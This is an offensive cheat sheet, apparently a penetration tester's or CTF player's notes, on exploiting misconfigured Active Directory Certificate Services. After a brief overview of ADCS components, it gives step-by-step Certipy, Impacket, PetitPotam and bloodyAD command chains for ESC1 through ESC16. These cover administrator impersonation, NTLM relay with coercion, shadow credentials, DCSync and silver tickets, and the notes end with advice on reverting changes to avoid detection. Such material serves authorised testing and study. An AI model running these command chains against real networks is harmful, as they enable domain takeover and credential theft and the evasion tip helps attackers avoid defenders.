Introduction to ADCS
Active Directory Certificate Services (ADCS) is the role that handles certificate issuance for users, computers, and services in the Active Directory network. When misconfigured, this service can present vulnerabilities that attackers could exploit to escalate privileges or access sensitive information.
Common ADCS Vulnerabilities
Certificate Issuance Privilege Delegation : If certain users have permissions to issue certificates for others, an attacker could abuse these privileges to obtain elevated permissions.
Certificate Template Misconfiguration : Incorrect configurations in certificate templates could allow an attacker to request a certificate on behalf of another user, including one with elevated privileges.
NTLM Relaying over HTTP : If ADCS accepts NTLM authentication instead of Kerberos, an attacker could redirect requests to gain access.
Main Components
CA (Certification Authority) : Issues and manages certificates. There can be multiple CAs in a hierarchy.
Certificate Templates : Define configuration, permissions, and requirements for issuing certificates.
CES (Certificate Enrollment Server) : Allows certificate renewal through HTTPS requests.
Certificate Enrollment Policy Web Server : Provides information about certificate enrollment policies.
CA Web Enrollment : Allows hosts outside the domain or with other operating systems to renew certificates.
NDES (Network Device Enrollment Service) : Allows network devices to obtain certificates without connection.
PEM : Base64-encoded DER certificate; can store multiple keys without password protection.
DER : Certificate in raw binary format.
PFX/P12 (PKCS#12) : Stores private keys with password protection.
P7B (PKCS#7) : Stores certificate chains but not private keys.
Main Certificate Attributes
Subject : Entity to which the certificate is issued.
SAN : Subject Alternative Name.
Validity Period : Certificate validity period.
EKU (Extended Key Use) : Defines specific uses of the certificate.
OID (Object Identifier) : Indicates the purpose or usage scenario of the certificate.
CSR (Certificate Signing Request) Process
Client sends a certificate request (CSR).
CA verifies client permissions to issue the requested certificate.
If permissions match, CA generates and signs the certificate with its private key.
Signed certificate is returned to the client.
We'll use Certipy for privilege escalation with ADCS.
To check for misconfigured templates that we can abuse:
Copy certipy-ad find -u user@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
Common Issues and Solutions
KDC_ERR_PADATA_TYPE_NOSUPP Error
This error occurs when attempting to authenticate with a user's PFX certificate, indicating that the KDC doesn't support the provided authentication type.
Common Causes:
Domain controller doesn't have a certificate installed for smart cards
DC lacks "Domain Controller", "Domain Controller Authentication", or another certificate with Server Authentication EKU
Wrong CA is being queried or proper CA cannot be contacted
Solution : Use PassTheCert to authenticate to LDAP via SChannel:
Copy # Extract private key and certificate from PFX
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
# Authenticate using PassTheCert
python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10
# Get LDAP shell access
python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10
ESC Attack Techniques
ESC1 - Domain Users Enrollment
Certificate request with alternative SAN.
Standard Users
Copy # Authentication with credentials
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10
# Authentication with NTLM hash (Pass-The-Hash)
certipy-ad req -u user@domain.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10
# Kerberos authentication (requires TGT/.ccache file in KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10 -target dc.domain.htb
Certificate Authentication:
Copy certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htb
Domain Computers (Machine Account)
When ESC1 is only available through Domain Computers:
Copy # Add new machine to domain using PowerView
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123
# Request certificate as machine account
certipy-ad req -u 'Gzzcoo$'@domain.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10
ESC2
Certificate request with alternative SAN:
Copy certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user
Authentication:
Copy certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d domain.htb
Verification:
Copy KRB5CCNAME=administrator.ccache wmiexec.py domain.htb/administrator@dc.domain.htb -k -no-pass
ESC3
Request certificate and then impersonate administrator:
Copy # Request initial certificate
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@domain.htb
# Request certificate impersonating Administrator
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'domain.htb\administrator' -pfx user.pfx
ESC4
Modify vulnerable template:
Copy # Attack vulnerable ESC4 template
certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
# Verify template modification
certipy-ad find -u 'user@domain.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
# Abuse modified template
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Get NTLM hash
certipy-ad auth -pfx administrator.pfx -domain domain.htb
# Restore template to original state
certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
ESC5
Request and approve certificate:
Copy # Request Domain Admin certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator
# Approve request (specify request ID)
certipy-ad ca -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10
# Retrieve issued certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10
# Authenticate with Administrator certificate
certipy-ad auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip <ip> -ns <ip> -dns-tcp
ESC6
Certificate request with alternative UPN:
Copy certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@domain.htb
ESC7
Prerequisites : User must have "Manage CA" and "Manage Certificates" access rights, and SubCA template must be enabled.
Copy # Add user as officer (if only having Manage CA rights)
certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@domain.htb' -p 'Password01!'
# Enable SubCA template
certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@domain.htb' -p 'Password01!'
# Request SubCA certificate (will be rejected but saves private key)
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca '<ca_name>' -target dc.domain.htb -template SubCA -upn administrator@domain.htb
# Issue the failed certificate request
certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@domain.htb' -p 'Password01!'
# Retrieve issued certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca '<ca_name>' -target dc.domain.htb -retrieve <ID>
ESC8
NTLM Relay attack:
Copy # Start Certipy relay
certipy-ad relay -target <adcs_ip> -template <machine_template>
# Perform Authentication Coercion (from another terminal)
coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@domain.htb' -p 'Password01!' -d domain.htb -v
# Request TGT as machine account
certipy-ad auth -pfx machine_account.pfx
Possible follow-up attacks:
DCSync Attack (if Domain Admin privileges):
Copy impacket-secretsdump 'DC$@domain.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
Silver Ticket (using machine account NTLM hash):
Copy # Create Silver Ticket
impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain domain.htb -spn <spn> Administrator
# Pass-The-Ticket with PsExec
KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.domain.htb
ESC9
Requirements : GenericWrite or GenericAll over account A to compromise account B.
Copy # Get victim's NTLM hash via Shadow Credentials
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim
# Update victim's UPN to Administrator
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn administrator
# Request certificate using vulnerable template
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>
# Restore victim's original UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb
# Authenticate with issued certificate
certipy-ad auth -pfx administrator.pfx -domain domain.htb
ESC10
Case 1: Standard Account Compromise
Copy # Get victim's NTLM hash via Shadow Credentials
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim
# Modify victim's UPN to Administrator
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn Administrator
# Request certificate
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
# Revert victim's UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb
# Authenticate as Administrator
certipy-ad auth -pfx administrator.pfx -domain domain.htb
Case 2: Machine Account Compromise
Copy # Get victim's NTLM hash
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim
# Modify victim's UPN to DC machine account
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn 'DC$@domain.htb'
# Request certificate as victim for DC
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
# Revert victim's UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb
# Authenticate with DC certificate and get LDAP shell
certipy-ad auth -pfx <dc_machine_name>.pfx -domain domain.htb -dc-ip 10.10.10.10 -ldap-shell
# Create new computer account and configure RBCD
add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$
# Abuse RBCD to impersonate Administrator
impacket-getST -spn cifs/<dc_machine_name>$@domain.htb -impersonate Administrator -dc-ip 10.10.10.10 domain.htb/'<new_account_name>$':<new_account_pass>
# Authenticate with Administrator TGT
KRB5CCNAME=administrator.ccache wmiexec.py domain.htb/administrator@dc.domain.htb -k -no-pass
ESC11
RPC-based relay attack:
Copy # Configure relay
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
# Authentication Coerce with PetitPotam
python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>
# Certipy receives DC authentication
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
Follow ESC8 steps after successful relay.
ESC13
Policy-based certificate template exploitation:
Copy # Find vulnerable template with certificate policy
certipy-ad find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip '$DC_IP'
# Request certificate for vulnerable template
certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'
Use certificate with Pass-the-Certificate for TGT with additional group privileges.
ESC14
Scenario A: Write altSecurityIdentities on Target
Copy # Check write permissions on altSecurityIdentities
bloodyAD --host 10.10.10.10 -d domain.htb -u 'userA' -p 'password' get writable --detail
# Create new Domain Computer
powerview domain.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
# Get machine certificate
certipy-ad req -username 'gzzcoo$'@domain.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
# Extract certificate
certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
X509 Parser Script (x509.py
):
Copy import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def format_serial_le(serial_int):
hex_serial = format(serial_int, 'x').zfill(2)
if len(hex_serial) % 2 != 0:
hex_serial = '0' + hex_serial
bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
return ''.join(reversed(bytes_pairs))
def parse_issuer(cert):
oid_map = {
'commonName': 'CN',
'countryName': 'C',
'organizationName': 'O',
'organizationalUnitName': 'OU',
'stateOrProvinceName': 'ST',
'localityName': 'L',
'domainComponent': 'DC'
}
issuer = cert.issuer
issuer_parts = []
for attribute in issuer:
oid = attribute.oid._name
key = oid_map.get(oid, oid)
value = attribute.value
issuer_parts.append(f"{key}={value}")
return ",".join(issuer_parts)
def get_cert_info(path):
with open(path, 'rb') as f:
data = f.read()
if path.endswith('.pfx'):
private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
else:
cert = x509.load_pem_x509_certificate(data, backend=default_backend())
serial_le = format_serial_le(cert.serial_number)
issuer = parse_issuer(cert)
print(f"X509:<I>{issuer}<SR>{serial_le}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python3 x509.py file.pfx|file.crt")
sys.exit(1)
get_cert_info(sys.argv[1])
Copy # Get X509 identifier
python3 x509.py gzzcoo.pfx
# Modify target's altSecurityIdentities attribute
bloodyAD --host 10.10.10.10 -d domain.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=domain,CN=domain-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
# Authenticate as target user with machine certificate
certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain domain.htb -username 'userB'
ESC16
Security Extension disabled on CA.
Scenario A: UPN Manipulation
Requirements : StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to victim's UPN.
Copy # Step 1: Read victim's initial UPN (optional for restoration)
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -user 'victim' read
# Step 2: Update victim's UPN to target administrator's sAMAccountName
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update
# Step 3: Obtain victim credentials (if needed via Shadow Credentials)
certipy-ad shadow auto -u 'attacker@domain.htb' -p 'Password01!' -dc-ip 10.10.10.10 -account 'victim'
# Step 4: Request certificate as victim user
export KRB5CCNAME=$(pwd)/victim.ccache
certipy-ad req -k -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
# Step 5: Revert victim's UPN
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update
# Step 6: Authenticate as target administrator
certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'
Certipy : Main tool for ADCS enumeration and exploitation
PassTheCert : Certificate-based authentication when PKINIT is not supported
PowerView : Domain enumeration and computer account management
BloodHound : Active Directory relationship mapping
Coercer : Authentication coercion attacks
Useful References
Notes and Best Practices
Always save original configurations when modifying templates (ESC4, ESC7)
Revert changes after successful exploitation to minimize detection
Handle timeouts - If receiving "NETBIOS connection timeout" errors, retry the commands
Certificate validation - Ensure proper certificate validation when authenticating
Privilege verification - Always verify obtained privileges match expected access levels